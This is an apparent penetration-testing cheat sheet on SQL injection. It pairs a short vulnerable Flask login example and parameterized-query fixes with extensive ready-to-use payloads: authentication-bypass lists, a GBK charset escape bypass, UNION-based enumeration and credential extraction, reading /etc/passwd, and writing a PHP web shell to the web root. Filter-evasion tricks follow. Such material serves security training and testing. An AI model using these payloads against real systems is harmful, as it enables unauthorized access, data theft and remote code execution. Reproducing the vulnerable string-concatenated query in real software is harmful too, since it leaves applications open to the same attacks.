Skip to main content

index

SQL Injection

SQL injection (SQLi) is a critical vulnerability exploited during penetration testing to assess the security of web applications. It occurs when unvalidated user input is directly embedded in SQL queries, allowing attackers to interfere with the application's database operations. By injecting malicious payloads into input fields, such as ' OR '1'='1 in a login form, pentesters can bypass authentication, extract sensitive information like usernames, passwords, or credit card details, modify or delete records, or escalate privileges. Advanced attacks may even allow access to the underlying operating system through database features.

The danger of SQL injection lies in its potential impact: attackers can compromise the confidentiality, integrity, and availability of data. For businesses, this could mean data breaches, financial loss, reputational damage, or even legal consequences. SQLi can affect any system that relies on database queries, making it a high-priority threat to address. Pentesters use SQLi to demonstrate vulnerabilities and highlight the need for secure coding practices, input validation, and the use of techniques like parameterized queries or ORMs (Object-Relational Mappers) to mitigate risks.

SQL Databases

SQL (Structured Query Language) databases are relational databases designed to store data in structured tables with rows and columns. Each table has a predefined schema that enforces data integrity. SQL databases are ideal for complex queries, transactions, and structured data. Examples include:

  • MySQL
  • PostgreSQL
  • Microsoft SQL Server
  • Oracle Database

SQL databases are susceptible to SQL Injection attacks, where attackers manipulate SQL queries to bypass authentication, retrieve sensitive data, or alter database records. For instance, injecting ' OR '1'='1 into a login field can bypass authentication if inputs are not sanitized.

NoSQL Databases

NoSQL databases are non-relational and designed to handle unstructured or semi-structured data. They are schema-less and offer flexibility, scalability, and high performance for modern applications. NoSQL databases are ideal for use cases like real-time analytics, IoT, and big data. Examples include:

  • MongoDB (document-based)
  • Redis (key-value store)
  • Cassandra (wide-column store)
  • Neo4j (graph database)

NoSQL Injection:

NoSQL databases are vulnerable to NoSQL Injection, where attackers manipulate NoSQL queries by injecting malicious code. For example, in MongoDB, injecting {"$ne": null} in a login field could bypass authentication if inputs are not properly sanitized. This can lead to unauthorized access, data theft, or disruption of services, similar to SQL Injection but tailored to the NoSQL query syntax.

Note: NoSQL Injection will be added soon.


Basic Code Review

from flask import Flask, request
import sqlite3

app = Flask(__name__)

@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']

# Vulnerable query
conn = sqlite3.connect('example.db')
cursor = conn.cursor()
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
cursor.execute(query)

result = cursor.fetchone()
if result:
return "Login successful"
return "Login failed"

How These Are Vulnerable

All these examples directly embed user inputs into SQL queries without proper sanitization or escaping. An attacker can inject malicious SQL payloads to manipulate the database.

Mitigation

Replace the vulnerable query in each language with parameterized queries or prepared statements. For example:

  • Python Flask: Use cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).
  • Node.js: Use placeholders like connection.query("SELECT * FROM users WHERE username = ? AND password = ?", [username, password]).
  • .NET: Use SqlCommand with parameters like command.Parameters.AddWithValue("@username", username).
  • PHP: Use prepared statements with mysqli_prepare or PDO.

Discovering SQL Injections

We first need to determine if the login form or input field is vulnerable to SQL injection. To do this, we can inject specific payloads into input fields (e.g., username or password) or append them to the URL (in HTTP GET requests) and observe the application's response for any errors, behavioral changes, or unexpected outputs.

PayloadDescriptionURL Encoded
'Single quote: tests for syntax issues%27
"Double quote: alternate syntax testing%22
--SQL comment: ignores query remainder%2D%2D
#MySQL-specific comment marker%23
;Query terminator%3B
)Closing parenthesis: syntax alteration%29
' OR 1=1 --Logic bypass: true condition injection%27%20OR%201%3D1%20--
' AND 1=2 --False condition: response-based testing%27%20AND%201%3D2%20--
admin' --Bypass using a common usernameadmin%27%20--

Generic Payloads

"
""
")
"))
'
''
')
'))
'='
,
/
//
;
\
\\
`
`)
`))
``
'=0--+
' AND id IS NULL; --
'LIKE'
' or "
-- or #
" OR "" = "
' OR '' = '
' OR '1
' OR 1 -- -
OR 1=1
" OR 1 = 1 -- -
' OR 'x'='x
'''''''''''''UNION SELECT '2

Subverting Query Logic

Subverting query logic is a common approach in SQL injection attacks to manipulate how a database interprets a query. By injecting malicious input, attackers can alter the intended behavior of a query. A typical use case is bypassing login authentication in web applications.

Example of Query Manipulation

SELECT * FROM users WHERE username = 'user_input' AND password = 'user_input';

Authentication Bypass Payloads

'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

Authentication Bypass - GBK Addslashes Bypass

This vulnerability happens when an application changes MySQL’s charset to GBK using SQL (e.g., SET CHARACTER SET 'GBK') while the database driver still believes the connection is using a single-byte charset.

Because GBK treats certain multi-byte sequences as valid characters, an attacker can send the bytes \xBF\x27 (URL-encoded as %bf%27). The driver escapes only the single quote, but MySQL interprets the two bytes as a single GBK character—so the quote effectively becomes unescaped. This allows the attacker to break out of the SQL string and inject payloads such as:

POST /login.php HTTP/1.1
Host: example.com
..SNIP..

<strong>username=%bf%27+OR+1=1%23&#x26;password=rezydev
</strong>
info

The issue can be fixed by configuring the connection charset correctly at the driver level, rather than changing it through SQL queries.


Union Injection

Find Number of Columns

' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --
  • ' ORDER BY 14 -- this gives error
  • ' ORDER BY 15 -- this gives no error so, number of column is 15.

Why to Find Number of Columns

Determining the number of columns is essential for UNION-based SQL injection because the number of columns in the injected query must match the number in the original query. Mismatched columns cause syntax errors, preventing successful data extraction.

Find Data Types

' UNION SELECT 'a', NULL, NULL --
' UNION SELECT NULL, 'A', NULL --
' UNION SELECT NULL, NULL, 'A' --

Note: We can simply use 'NULL' to fill columns, as 'NULL' fits all data types.

Extract Data

After this we can retrive the data as follows, we can use concat operation in case only one column can hold string data type.

' UNION SELECT username, password FROM Users--
' UNION SELECT CONCAT(username, password), NULL FROM Users --
' UNION SELECT NULL, username || password FROM Users --

Enumerating the Database

Database Version

' UNION SELECT @@version--

List of databases

' UNION SELECT NULL,schema_name,NULL FROM INFORMATION_SCHEMA.SCHEMATA-- -

Note: To find current database name, we can use database() function.

List of tables within each database

' UNION SELECT NULL, TABLE_NAME, TABLE_SCHEMA, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='database_name'-- -  

List of columns within each table

' UNION select NULL,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='table_name'-- -

Reading & Writing Files

Privileges

Note: We do not need database administrator (DBA) permission to read data.

-- Current user and database user information:
SELECT USER(); -- Returns the user and host of the current connection
SELECT CURRENT_USER(); -- Returns the user the server authenticated
SELECT user FROM mysql.user; -- Lists all users in the database
SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"; -- Shows value of secure_file_priv

To be able to write files to the back-end server using a MySQL database, we require three things:

  1. User with FILE privilege enabled
  2. MySQL global secure_file_priv variable not enabled
  3. Write access to the location we want to write to on the back-end server

Reading Files

-- Read file content directly:
' UNION ALL SELECT NULL, LOAD_FILE('/etc/passwd'), NULL --
-- Read file and encode in Base64 (useful for binary files or bypassing filters):
' UNION ALL SELECT NULL, TO_BASE64(LOAD_FILE('/var/www/html/index.php')), NULL --

Writing Files

-- Write PHP code into a file (e.g., shell.php):
' UNION SELECT "",'<?php system($_REQUEST[0]); ?>', "", "" INTO OUTFILE '/var/www/html/shell.php'-- -

Files written using SQL Queries have following permissions:

$ ls -la /var/www/html/shell.php

-rw-rw-rw- 1 mysql mysql 01 Jan 1 03:24 /var/www/html/shell.php
info

We can use 'FROM_BASE64("base64_data")' function to write long files, including binary data.



Filter Bypass

No Space Allowed

Some web applications attempt to secure their SQL queries by blocking or stripping space characters to prevent simple SQL injection attacks. However, attackers can bypass these filters by using alternative whitespace characters, comments, or creative use of parentheses.

Most databases interpret certain ASCII control characters and encoded spaces (such as tabs, newlines, etc.) as whitespace in SQL statements. By encoding these characters, attackers can often evade space-based filters.

Example PayloadDescription
?id=1%09and%091=1%09--%09 is tab (\t)
?id=1%0Aand%0A1=1%0A--%0A is line feed (\n)
?id=1%0Band%0B1=1%0B--%0B is vertical tab
?id=1%0Cand%0C1=1%0C--%0C is form feed
?id=1%0Dand%0D1=1%0D--%0D is carriage return (\r)
?id=1%A0and%A01=1%A0--%A0 is non-breaking space

SQL allows comments and grouping, which can break up keywords and queries, thus defeating space filters:

BypassTechnique
?id=1/*comment*/AND/**/1=1/**/--Comment
?id=1/*!12345UNION*//*!12345SELECT*/1--Conditional comment
?id=(1)and(1)=(1)--Parenthesis

No Comma Allowed

Bypass using OFFSET, FROM and JOIN.

ForbiddenBypass
LIMIT 0,1LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1)SUBSTR('SQL' FROM 1 FOR 1)
SELECT 1,2,3,4UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

No Equal Allowed

Bypass using LIKE/NOT IN/IN/BETWEEN

BypassSQL Example
LIKESUBSTRING(VERSION(),1,1)LIKE(5)
NOT INSUBSTRING(VERSION(),1,1)NOT IN(4,3)
INSUBSTRING(VERSION(),1,1)IN(4,3)
BETWEENSUBSTRING(VERSION(),1,1) BETWEEN 3 AND 4

Case Modification

Bypass using uppercase/lowercase.

BypassTechnique
ANDUppercase
andLowercase
aNdMixed case

Bypass using keywords case insensitive or an equivalent operator.

ForbiddenBypass
AND&&
OR||
=LIKE, REGEXP, BETWEEN
>NOT BETWEEN 0 AND X
WHEREHAVING

Extra Useful Cheatsheet

String Concatination

'rezy' 'dev' -- [Note the space between the two strings]
CONCAT('rezy', 'dev')

Substring

SUBSTR('rezydev', 4, 3) -- Extracts 'yde'

Comments

-- Single-line comment

Note: --[space]comment > MySQL has space.

Referencing table in different database

SELECT username, password FROM anotherdb.users --

Reference

For more payloads we can refer to following resources: